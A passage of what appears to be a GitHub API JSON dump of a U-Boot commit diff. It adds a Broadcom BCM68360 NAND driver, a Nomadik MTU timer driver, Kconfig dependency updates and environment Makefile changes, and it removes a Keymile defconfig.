CONFIG_SPI_FLASH_STMICRO=y\n-CONFIG_MV88E6352_SWITCH=y\n+CONFIG_SPI_FLASH_MACRONIX=y\n CONFIG_MVGBE=y\n CONFIG_MII=y\n CONFIG_SYS_NS16550=y", "previous_filename": "configs/kmsugp1_defconfig"}<_**next**_>{"sha": "977030a1a30b5914bd86e60f56684285180d0676", "filename": "configs/kmsuv31_defconfig", "status": "removed", "additions": 0, "deletions": 55, "changes": 55, "blob_url": "https://github.com/u-boot/u-boot/blob/052170c6a043eec4e73fad80955876cf1ba5e4f2/configs/kmsuv31_defconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/052170c6a043eec4e73fad80955876cf1ba5e4f2/configs/kmsuv31_defconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/configs/kmsuv31_defconfig?ref=052170c6a043eec4e73fad80955876cf1ba5e4f2", "patch": "@@ -1,55 +0,0 @@\n-CONFIG_ARM=y\n-CONFIG_SYS_DCACHE_OFF=y\n-CONFIG_ARCH_CPU_INIT=y\n-CONFIG_KIRKWOOD=y\n-CONFIG_SYS_TEXT_BASE=0x07d00000\n-CONFIG_TARGET_KM_KIRKWOOD=y\n-CONFIG_KM_FPGA_CONFIG=y\n-CONFIG_KM_ENV_IS_IN_SPI_NOR=y\n-CONFIG_ENV_SIZE=0x2000\n-CONFIG_ENV_SECT_SIZE=0x10000\n-CONFIG_ENV_OFFSET=0xC0000\n-CONFIG_IDENT_STRING=\"\\nKeymile SUV31\"\n-CONFIG_SYS_EXTRA_OPTIONS=\"KM_SUV31\"\n-CONFIG_MISC_INIT_R=y\n-CONFIG_VERSION_VARIABLE=y\n-# CONFIG_DISPLAY_BOARDINFO is not set\n-CONFIG_HUSH_PARSER=y\n-CONFIG_AUTOBOOT_KEYED=y\n-CONFIG_AUTOBOOT_PROMPT=\"Hit <SPACE> key to stop autoboot in %2ds\\n\"\n-CONFIG_AUTOBOOT_STOP_STR=\" \"\n-CONFIG_CMD_ASKENV=y\n-CONFIG_CMD_GREPENV=y\n-CONFIG_CMD_EEPROM=y\n-# CONFIG_CMD_FLASH is not set\n-CONFIG_CMD_I2C=y\n-CONFIG_CMD_NAND=y\n-CONFIG_CMD_DHCP=y\n-CONFIG_CMD_MII=y\n-CONFIG_CMD_PING=y\n-CONFIG_CMD_JFFS2=y\n-CONFIG_CMD_MTDPARTS=y\n-CONFIG_MTDIDS_DEFAULT=\"nand0=orion_nand\"\n-CONFIG_MTDPARTS_DEFAULT=\"mtdparts=orion_nand:-(ubi0);\"\n-CONFIG_CMD_UBI=y\n-# CONFIG_CMD_UBIFS is not set\n-CONFIG_OF_CONTROL=y\n-CONFIG_DEFAULT_DEVICE_TREE=\"kirkwood-km_kirkwood\"\n-CONFIG_ENV_IS_IN_SPI_FLASH=y\n-CONFIG_SYS_REDUNDAND_ENVIRONMENT=y\n-CONFIG_ENV_OFFSET_REDUND=0xD0000\n-CONFIG_SYS_RELOC_GD_ENV_ADDR=y\n-CONFIG_BOOTCOUNT_LIMIT=y\n-CONFIG_BOOTCOUNT_RAM=y\n-CONFIG_BOOTCOUNT_BOOTLIMIT=3\n-# CONFIG_MMC is not set\n-CONFIG_MTD=y\n-CONFIG_MTD_RAW_NAND=y\n-CONFIG_SF_DEFAULT_SPEED=8100000\n-CONFIG_SPI_FLASH_STMICRO=y\n-CONFIG_MVGBE=y\n-CONFIG_MII=y\n-CONFIG_SYS_NS16550=y\n-CONFIG_SPI=y\n-CONFIG_KIRKWOOD_SPI=y\n-CONFIG_BCH=y"}<_**next**_>{"sha": "6908ef34480f180607555ed6ddd1668c956647ff", "filename": "configs/stemmy_defconfig", "status": "added", "additions": 18, "deletions": 0, "changes": 18, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/configs/stemmy_defconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/configs/stemmy_defconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/configs/stemmy_defconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,18 @@\n+CONFIG_ARM=y\n+CONFIG_ARCH_U8500=y\n+CONFIG_SYS_TEXT_BASE=0x100000\n+CONFIG_NR_DRAM_BANKS=1\n+CONFIG_SYS_CONSOLE_INFO_QUIET=y\n+CONFIG_HUSH_PARSER=y\n+CONFIG_CMD_CONFIG=y\n+CONFIG_CMD_LICENSE=y\n+CONFIG_CMD_DM=y\n+CONFIG_CMD_GPIO=y\n+CONFIG_CMD_MMC=y\n+CONFIG_CMD_PART=y\n+CONFIG_CMD_GETTIME=y\n+CONFIG_EFI_PARTITION=y\n+CONFIG_DEFAULT_DEVICE_TREE=\"ste-ux500-samsung-stemmy\"\n+# CONFIG_NET is not set\n+# CONFIG_MMC_HW_PARTITIONING is not set\n+# CONFIG_EFI_LOADER is not set"}<_**next**_>{"sha": "4cc2fc19f7e3ab22ddaf1faf48cc3871f6f6ac56", "filename": "disk/part.c", "status": "modified", "additions": 7, "deletions": 6, "changes": 13, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/disk/part.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/disk/part.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/disk/part.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -104,17 +104,18 @@ typedef lbaint_t lba512_t;\n #endif\n \n /*\n- * Overflowless variant of (block_count * mul_by / 2**div_by)\n- * when div_by > mul_by\n+ * Overflowless variant of (block_count * mul_by / 2**right_shift)\n+ * when 2**right_shift > mul_by\n */\n-static lba512_t lba512_muldiv(lba512_t block_count, lba512_t mul_by, int div_by)\n+static lba512_t lba512_muldiv(lba512_t block_count, lba512_t mul_by,\n+\t\t\t int right_shift)\n {\n \tlba512_t bc_quot, bc_rem;\n \n \t/* x * m / d == x / d * m + (x % d) * m / d */\n-\tbc_quot = block_count >> div_by;\n-\tbc_rem = block_count - (bc_quot << div_by);\n-\treturn bc_quot * mul_by + ((bc_rem * mul_by) >> div_by);\n+\tbc_quot = block_count >> right_shift;\n+\tbc_rem = block_count - (bc_quot << right_shift);\n+\treturn bc_quot * mul_by + ((bc_rem * mul_by) >> right_shift);\n }\n \n void dev_print (struct blk_desc *dev_desc)"}<_**next**_>{"sha": "4e5a70780a99864fd57dbfadd4d5509a3adb267a", "filename": "drivers/gpio/Kconfig", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/gpio/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/gpio/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/drivers/gpio/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -55,7 +55,8 @@ config ALTERA_PIO\n \n config BCM6345_GPIO\n \tbool \"BCM6345 GPIO driver\"\n-\tdepends on DM_GPIO && (ARCH_BMIPS || ARCH_BCM6858 || ARCH_BCM63158)\n+\tdepends on DM_GPIO && (ARCH_BMIPS || ARCH_BCM68360 || \\\n+\t\t\t ARCH_BCM6858 || ARCH_BCM63158)\n \thelp\n \t This driver supports the GPIO banks on BCM6345 SoCs.\n "}<_**next**_>{"sha": "667593405eb1722596602929f880e71e6d0c2b23", "filename": "drivers/led/Kconfig", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/led/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/led/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/drivers/led/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -30,7 +30,7 @@ config LED_BCM6358\n \n config LED_BCM6858\n \tbool \"LED Support for BCM6858\"\n-\tdepends on LED && (ARCH_BCM6858 || ARCH_BCM63158)\n+\tdepends on LED && (ARCH_BCM68360 || ARCH_BCM6858 || ARCH_BCM63158)\n \thelp\n \t This option enables support for LEDs connected to the BCM6858\n \t HW has blinking capabilities and up to 32 LEDs can be controlled."}<_**next**_>{"sha": "7814d84ba01dd1f884efc4c1848b79b18046e079", "filename": "drivers/mtd/nand/raw/Kconfig", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/mtd/nand/raw/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/mtd/nand/raw/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/drivers/mtd/nand/raw/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -78,6 +78,12 @@ config NAND_BRCMNAND_6368\n \thelp\n \t Enable support for broadcom nand driver on bcm6368.\n \n+config NAND_BRCMNAND_68360\n+ bool \"Support Broadcom NAND controller on bcm68360\"\n+ depends on NAND_BRCMNAND && ARCH_BCM68360\n+ help\n+ Enable support for broadcom nand driver on bcm68360.\n+\n config NAND_BRCMNAND_6838\n bool \"Support Broadcom NAND controller on bcm6838\"\n depends on NAND_BRCMNAND && ARCH_BMIPS && SOC_BMIPS_BCM6838"}<_**next**_>{"sha": "5d9e7e3f3b51924af69d421bb75c4f6598bf2f72", "filename": "drivers/mtd/nand/raw/brcmnand/Makefile", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/mtd/nand/raw/brcmnand/Makefile", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/mtd/nand/raw/brcmnand/Makefile", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/drivers/mtd/nand/raw/brcmnand/Makefile?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -2,6 +2,7 @@\n \n obj-$(CONFIG_NAND_BRCMNAND_6368) += bcm6368_nand.o\n obj-$(CONFIG_NAND_BRCMNAND_63158) += bcm63158_nand.o\n+obj-$(CONFIG_NAND_BRCMNAND_68360) += bcm68360_nand.o\n obj-$(CONFIG_NAND_BRCMNAND_6838) += bcm6838_nand.o\n obj-$(CONFIG_NAND_BRCMNAND_6858) += bcm6858_nand.o\n obj-$(CONFIG_NAND_BRCMNAND) += brcmnand.o"}<_**next**_>{"sha": "0f1a28e4765d044693be6347cfbc5dd9aab66a31", "filename": "drivers/mtd/nand/raw/brcmnand/bcm68360_nand.c", "status": "added", "additions": 123, "deletions": 0, "changes": 123, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/mtd/nand/raw/brcmnand/bcm68360_nand.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/mtd/nand/raw/brcmnand/bcm68360_nand.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/drivers/mtd/nand/raw/brcmnand/bcm68360_nand.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,123 @@\n+// SPDX-License-Identifier: GPL-2.0+\n+\n+#include <common.h>\n+#include <asm/io.h>\n+#include <memalign.h>\n+#include <nand.h>\n+#include <linux/errno.h>\n+#include <linux/io.h>\n+#include <linux/ioport.h>\n+#include <dm.h>\n+\n+#include \"brcmnand.h\"\n+\n+struct bcm68360_nand_soc {\n+\tstruct brcmnand_soc soc;\n+\tvoid __iomem *base;\n+};\n+\n+#define BCM68360_NAND_INT\t\t0x00\n+#define BCM68360_NAND_STATUS_SHIFT\t0\n+#define BCM68360_NAND_STATUS_MASK\t(0xfff << BCM68360_NAND_STATUS_SHIFT)\n+\n+#define BCM68360_NAND_INT_EN\t\t0x04\n+#define BCM68360_NAND_ENABLE_SHIFT\t0\n+#define BCM68360_NAND_ENABLE_MASK\t(0xffff << BCM68360_NAND_ENABLE_SHIFT)\n+\n+enum {\n+\tBCM68360_NP_READ\t\t= BIT(0),\n+\tBCM68360_BLOCK_ERASE\t= BIT(1),\n+\tBCM68360_COPY_BACK\t= BIT(2),\n+\tBCM68360_PAGE_PGM\t= BIT(3),\n+\tBCM68360_CTRL_READY\t= BIT(4),\n+\tBCM68360_DEV_RBPIN\t= BIT(5),\n+\tBCM68360_ECC_ERR_UNC\t= BIT(6),\n+\tBCM68360_ECC_ERR_CORR\t= BIT(7),\n+};\n+\n+static bool bcm68360_nand_intc_ack(struct brcmnand_soc *soc)\n+{\n+\tstruct bcm68360_nand_soc *priv =\n+\t\t\tcontainer_of(soc, struct bcm68360_nand_soc, soc);\n+\tvoid __iomem *mmio = priv->base + BCM68360_NAND_INT;\n+\tu32 val = brcmnand_readl(mmio);\n+\n+\tif (val & (BCM68360_CTRL_READY << BCM68360_NAND_STATUS_SHIFT)) {\n+\t\t/* Ack interrupt */\n+\t\tval &= ~BCM68360_NAND_STATUS_MASK;\n+\t\tval |= BCM68360_CTRL_READY << BCM68360_NAND_STATUS_SHIFT;\n+\t\tbrcmnand_writel(val, mmio);\n+\t\treturn true;\n+\t}\n+\n+\treturn false;\n+}\n+\n+static void bcm68360_nand_intc_set(struct brcmnand_soc *soc, bool en)\n+{\n+\tstruct bcm68360_nand_soc *priv =\n+\t\t\tcontainer_of(soc, struct bcm68360_nand_soc, soc);\n+\tvoid __iomem *mmio = priv->base + BCM68360_NAND_INT_EN;\n+\tu32 val = brcmnand_readl(mmio);\n+\n+\t/* Don't ack any interrupts */\n+\tval &= ~BCM68360_NAND_STATUS_MASK;\n+\n+\tif (en)\n+\t\tval |= BCM68360_CTRL_READY << BCM68360_NAND_ENABLE_SHIFT;\n+\telse\n+\t\tval &= ~(BCM68360_CTRL_READY << BCM68360_NAND_ENABLE_SHIFT);\n+\n+\tbrcmnand_writel(val, mmio);\n+}\n+\n+static int bcm68360_nand_probe(struct udevice *dev)\n+{\n+\tstruct udevice *pdev = dev;\n+\tstruct bcm68360_nand_soc *priv = dev_get_priv(dev);\n+\tstruct brcmnand_soc *soc;\n+\tstruct resource res;\n+\n+\tsoc = &priv->soc;\n+\n+\tdev_read_resource_byname(pdev, \"nand-int-base\", &res);\n+\tpriv->base = devm_ioremap(dev, res.start, resource_size(&res));\n+\tif (IS_ERR(priv->base))\n+\t\treturn PTR_ERR(priv->base);\n+\n+\tsoc->ctlrdy_ack = bcm68360_nand_intc_ack;\n+\tsoc->ctlrdy_set_enabled = bcm68360_nand_intc_set;\n+\n+\t/* Disable and ack all interrupts */\n+\tbrcmnand_writel(0, priv->base + BCM68360_NAND_INT_EN);\n+\tbrcmnand_writel(0, priv->base + BCM68360_NAND_INT);\n+\n+\treturn brcmnand_probe(pdev, soc);\n+}\n+\n+static const struct udevice_id bcm68360_nand_dt_ids[] = {\n+\t{\n+\t\t.compatible = \"brcm,nand-bcm68360\",\n+\t},\n+\t{ /* sentinel */ }\n+};\n+\n+U_BOOT_DRIVER(bcm68360_nand) = {\n+\t.name = \"bcm68360-nand\",\n+\t.id = UCLASS_MTD,\n+\t.of_match = bcm68360_nand_dt_ids,\n+\t.probe = bcm68360_nand_probe,\n+\t.priv_auto_alloc_size = sizeof(struct bcm68360_nand_soc),\n+};\n+\n+void board_nand_init(void)\n+{\n+\tstruct udevice *dev;\n+\tint ret;\n+\n+\tret = uclass_get_device_by_driver(UCLASS_MTD,\n+\t\t\t\t\t DM_GET_DRIVER(bcm68360_nand), &dev);\n+\tif (ret && ret != -ENODEV)\n+\t\tpr_err(\"Failed to initialize %s. (error %d)\\n\", dev->name,\n+\t\t ret);\n+}"}<_**next**_>{"sha": "73d1a69807e2233638d9351f03ca8b51da04fe52", "filename": "drivers/spi/Kconfig", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/spi/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/spi/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/drivers/spi/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -84,7 +84,8 @@ config ATMEL_SPI\n \n config BCM63XX_HSSPI\n \tbool \"BCM63XX HSSPI driver\"\n-\tdepends on (ARCH_BMIPS || ARCH_BCM6858 || ARCH_BCM63158)\n+\tdepends on (ARCH_BMIPS || ARCH_BCM68360 || \\\n+\t\t ARCH_BCM6858 || ARCH_BCM63158)\n \thelp\n \t Enable the BCM6328 HSSPI driver. This driver can be used to\n \t access the SPI NOR flash on platforms embedding this Broadcom"}<_**next**_>{"sha": "637024445c16e7da67bfa292eea0029056775d22", "filename": "drivers/timer/Kconfig", "status": "modified", "additions": 9, "deletions": 0, "changes": 9, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/timer/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/timer/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/drivers/timer/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -127,6 +127,15 @@ config X86_TSC_TIMER_EARLY_FREQ\n \t hardware ways, nor got from device tree at the time when device\n \t tree is not available yet.\n \n+config NOMADIK_MTU_TIMER\n+\tbool \"Nomadik MTU Timer\"\n+\tdepends on TIMER\n+\thelp\n+\t Enables support for the Nomadik Multi Timer Unit (MTU),\n+\t used in ST-Ericsson Ux500 SoCs.\n+\t The MTU provides 4 decrementing free-running timers.\n+\t At the moment, only the first timer is used by the driver.\n+\n config OMAP_TIMER\n \tbool \"Omap timer support\"\n \tdepends on TIMER"}<_**next**_>{"sha": "c22ffebcdec766ad01da70dffec0be6b26d35ede", "filename": "drivers/timer/Makefile", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/timer/Makefile", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/timer/Makefile", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/drivers/timer/Makefile?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -12,6 +12,7 @@ obj-$(CONFIG_ATMEL_PIT_TIMER) += atmel_pit_timer.o\n obj-$(CONFIG_CADENCE_TTC_TIMER)\t+= cadence-ttc.o\n obj-$(CONFIG_DESIGNWARE_APB_TIMER)\t+= dw-apb-timer.o\n obj-$(CONFIG_MPC83XX_TIMER) += mpc83xx_timer.o\n+obj-$(CONFIG_NOMADIK_MTU_TIMER)\t+= nomadik-mtu-timer.o\n obj-$(CONFIG_OMAP_TIMER)\t+= omap-timer.o\n obj-$(CONFIG_RENESAS_OSTM_TIMER) += ostm_timer.o\n obj-$(CONFIG_RISCV_TIMER) += riscv_timer.o"}<_**next**_>{"sha": "8648f1f1df90135581a98aea6a0c8b87eb2f6f0e", "filename": "drivers/timer/nomadik-mtu-timer.c", "status": "added", "additions": 114, "deletions": 0, "changes": 114, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/timer/nomadik-mtu-timer.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/timer/nomadik-mtu-timer.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/drivers/timer/nomadik-mtu-timer.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,114 @@\n+// SPDX-License-Identifier: GPL-2.0-or-later\n+/*\n+ * Copyright (C) 2019 Stephan Gerhold <stephan@gerhold.net>\n+ *\n+ * Based on arch/arm/cpu/armv7/u8500/timer.c:\n+ * Copyright (C) 2010 Linaro Limited\n+ * John Rigby <john.rigby@linaro.org>\n+ *\n+ * Based on Linux kernel source and internal ST-Ericsson U-Boot source:\n+ * Copyright (C) 2009 Alessandro Rubini\n+ * Copyright (C) 2010 ST-Ericsson\n+ * Copyright (C) 2010 Linus Walleij for ST-Ericsson\n+ */\n+\n+#include <common.h>\n+#include <dm.h>\n+#include <timer.h>\n+#include <asm/io.h>\n+\n+#define MTU_NUM_TIMERS\t\t4\n+\n+/* The timers */\n+struct nomadik_mtu_timer_regs {\n+\tu32 lr;\t\t/* Load register */\n+\tu32 cv;\t\t/* Current value */\n+\tu32 cr;\t\t/* Control register */\n+\tu32 bglr;\t/* Background load register */\n+};\n+\n+/* The MTU that contains the timers */\n+struct nomadik_mtu_regs {\n+\tu32 imsc;\t/* Interrupt mask set/clear */\n+\tu32 ris;\t/* Raw interrupt status */\n+\tu32 mis;\t/* Masked interrupt status */\n+\tu32 icr;\t/* Interrupt clear register */\n+\n+\tstruct nomadik_mtu_timer_regs timers[MTU_NUM_TIMERS];\n+};\n+\n+/* Bits for the control register */\n+#define MTU_CR_ONESHOT\t\tBIT(0)\t/* if 0 = wraps reloading from BGLR */\n+#define MTU_CR_32BITS\t\tBIT(1)\t/* if 0 = 16-bit counter */\n+\n+#define MTU_CR_PRESCALE_SHIFT\t2\n+#define MTU_CR_PRESCALE_1\t(0 << MTU_CR_PRESCALE_SHIFT)\n+#define MTU_CR_PRESCALE_16\t(1 << MTU_CR_PRESCALE_SHIFT)\n+#define MTU_CR_PRESCALE_256\t(2 << MTU_CR_PRESCALE_SHIFT)\n+\n+#define MTU_CR_PERIODIC\t\tBIT(6)\t/* if 0 = free-running */\n+#define MTU_CR_ENABLE\t\tBIT(7)\n+\n+struct nomadik_mtu_priv {\n+\tstruct nomadik_mtu_timer_regs *timer;\n+};\n+\n+static int nomadik_mtu_get_count(struct udevice *dev, u64 *count)\n+{\n+\tstruct nomadik_mtu_priv *priv = dev_get_priv(dev);\n+\n+\t/* Decrementing counter: invert the value */\n+\t*count = timer_conv_64(~readl(&priv->timer->cv));\n+\n+\treturn 0;\n+}\n+\n+static int nomadik_mtu_probe(struct udevice *dev)\n+{\n+\tstruct timer_dev_priv *uc_priv = dev_get_uclass_priv(dev);\n+\tstruct nomadik_mtu_priv *priv = dev_get_priv(dev);\n+\tstruct nomadik_mtu_regs *mtu;\n+\tfdt_addr_t addr;\n+\tu32 prescale;\n+\n+\taddr = dev_read_addr(dev);\n+\tif (addr == FDT_ADDR_T_NONE)\n+\t\treturn -EINVAL;\n+\n+\tmtu = (struct nomadik_mtu_regs *)addr;\n+\tpriv->timer = mtu->timers; /* Use first timer */\n+\n+\tif (!uc_priv->clock_rate)\n+\t\treturn -EINVAL;\n+\n+\t/* Use divide-by-16 counter if tick rate is more than 32 MHz */\n+\tif (uc_priv->clock_rate > 32000000) {\n+\t\tuc_priv->clock_rate /= 16;\n+\t\tprescale = MTU_CR_PRESCALE_16;\n+\t} else {\n+\t\tprescale = MTU_CR_PRESCALE_1;\n+\t}\n+\n+\t/* Configure a free-running, auto-wrap counter with selected prescale */\n+\twritel(MTU_CR_ENABLE | prescale | MTU_CR_32BITS, &priv->timer->cr);\n+\n+\treturn 0;\n+}\n+\n+static const struct timer_ops nomadik_mtu_ops = {\n+\t.get_count = nomadik_mtu_get_count,\n+};\n+\n+static const struct udevice_id nomadik_mtu_ids[] = {\n+\t{ .compatible = \"st,nomadik-mtu\" },\n+\t{}\n+};\n+\n+U_BOOT_DRIVER(nomadik_mtu) = {\n+\t.name = \"nomadik_mtu\",\n+\t.id = UCLASS_TIMER,\n+\t.of_match = nomadik_mtu_ids,\n+\t.priv_auto_alloc_size = sizeof(struct nomadik_mtu_priv),\n+\t.probe = nomadik_mtu_probe,\n+\t.ops = &nomadik_mtu_ops,\n+};"}<_**next**_>{"sha": "2b8064dfae0688761b58b5909d139778404fa031", "filename": "drivers/watchdog/Kconfig", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/watchdog/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/drivers/watchdog/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/drivers/watchdog/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -85,7 +85,8 @@ config WDT_AT91\n \n config WDT_BCM6345\n \tbool \"BCM6345 watchdog timer support\"\n-\tdepends on WDT && (ARCH_BMIPS || ARCH_BCM6858 || ARCH_BCM63158)\n+\tdepends on WDT && (ARCH_BMIPS || ARCH_BCM68360 || \\\n+\t\t\t ARCH_BCM6858 || ARCH_BCM63158)\n \thelp\n \t Select this to enable watchdog timer for BCM6345 SoCs.\n \t The watchdog timer is stopped when initialized."}<_**next**_>{"sha": "4661082f0e1c8bdd545ea44d847a38f8f901b60c", "filename": "env/Kconfig", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/env/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/env/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/env/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -1,5 +1,8 @@\n menu \"Environment\"\n \n+config ENV_SUPPORT\n+\tdef_bool y\n+\n config ENV_IS_NOWHERE\n \tbool \"Environment is not stored\"\n \tdefault y if !ENV_IS_IN_EEPROM && !ENV_IS_IN_EXT4 && \\"}<_**next**_>{"sha": "e2a165b8f1bf922049058ca5dba10e04c46cf72a", "filename": "env/Makefile", "status": "modified", "additions": 5, "deletions": 8, "changes": 13, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/env/Makefile", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/env/Makefile", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/env/Makefile?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -3,12 +3,13 @@\n # (C) Copyright 2004-2006\n # Wolfgang Denk, DENX Software Engineering, wd@denx.de.\n \n-obj-y += common.o env.o\n+obj-$(CONFIG_$(SPL_TPL_)ENV_SUPPORT) += common.o\n+obj-$(CONFIG_$(SPL_TPL_)ENV_SUPPORT) += env.o\n+obj-$(CONFIG_$(SPL_TPL_)ENV_SUPPORT) += attr.o\n+obj-$(CONFIG_$(SPL_TPL_)ENV_SUPPORT) += flags.o\n+obj-$(CONFIG_$(SPL_TPL_)ENV_SUPPORT) += callback.o\n \n ifndef CONFIG_SPL_BUILD\n-obj-y += attr.o\n-obj-y += callback.o\n-obj-y += flags.o\n obj-$(CONFIG_ENV_IS_IN_EEPROM) += eeprom.o\n extra-$(CONFIG_ENV_IS_EMBEDDED) += embedded.o\n obj-$(CONFIG_ENV_IS_IN_EEPROM) += embedded.o\n@@ -19,10 +20,6 @@ obj-$(CONFIG_ENV_IS_IN_ONENAND) += onenand.o\n obj-$(CONFIG_ENV_IS_IN_SATA) += sata.o\n obj-$(CONFIG_ENV_IS_IN_REMOTE) += remote.o\n obj-$(CONFIG_ENV_IS_IN_UBI) += ubi.o\n-else\n-obj-$(CONFIG_$(SPL_TPL_)ENV_SUPPORT) += attr.o\n-obj-$(CONFIG_$(SPL_TPL_)ENV_SUPPORT) += flags.o\n-obj-$(CONFIG_$(SPL_TPL_)ENV_SUPPORT) += callback.o\n endif\n \n obj-$(CONFIG_$(SPL_TPL_)ENV_IS_NOWHERE) += nowhere.o"}<_**next**_>{"sha": "77690ff40f73b07eb815d8f73a510382313947f0", "filename": "include/configs/broadcom_bcm968360bg.h", "status": "added", "additions": 40, "deletions": 0, "changes": 40, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/broadcom_bcm968360bg.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/broadcom_bcm968360bg.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/include/configs/broadcom_bcm968360bg.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,40 @@\n+/* SPDX-License-Identifier: GPL-2.0+ */\n+/*\n+ * Copyright (C) 2020 Philippe Reynes <philippe.reynes@softathome.com>\n+ */\n+\n+#include <linux/sizes.h>\n+\n+/*\n+ * common\n+ */\n+\n+/* UART */\n+#define CONFIG_SYS_BAUDRATE_TABLE\t{ 9600, 19200, 38400, 57600, 115200, \\\n+\t\t\t\t\t 230400, 500000, 1500000 }\n+/* Memory usage */\n+#define CONFIG_SYS_MAXARGS\t\t24\n+#define CONFIG_SYS_MALLOC_LEN\t\t(1024 * 1024)\n+\n+/*\n+ * 6858\n+ */\n+\n+/* RAM */\n+#define CONFIG_SYS_SDRAM_BASE\t\t0x00000000\n+\n+/* U-Boot */\n+#define CONFIG_SYS_INIT_SP_ADDR\t\t(CONFIG_SYS_TEXT_BASE + SZ_16M)\n+#define 